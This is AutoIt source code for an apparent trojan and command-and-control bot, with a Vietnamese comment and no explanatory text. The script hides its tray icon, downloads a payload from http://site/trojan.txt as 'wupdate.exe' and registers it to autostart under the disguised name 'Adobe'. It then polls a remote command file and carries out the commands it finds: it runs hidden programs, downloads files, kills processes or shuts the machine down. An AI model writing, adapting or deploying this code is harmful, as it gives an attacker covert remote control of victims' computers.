#include #include #NoTrayIcon $txt = "http://site/command.txt" $old = "" InetGet("http://site/trojan.txt", @WindowsDir & "\wupdate.exe") Sleep(20000) RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Adobe", "REG_SZ", @WindowsDir & "\wupdate.exe") While (1) $new = _INetGetSource($txt) If $new <> $old Then ; Phan tich va thuc hien lenh $cmd = StringSplit($new, " ") Switch $cmd[1] Case "1" Run($cmd[2]) Case "1+" Run($cmd[2], "", @SW_HIDE) Case "2" InetGet ($cmd[2], $cmd[3], 0, 1) Case "3" Run("TASKKILL /F /IM " & $cmd[2] & ".exe", "", @SW_HIDE) Case "4" Run("shutdown -t0") EndSwitch $old = $new EndIf Sleep(5000) WEnd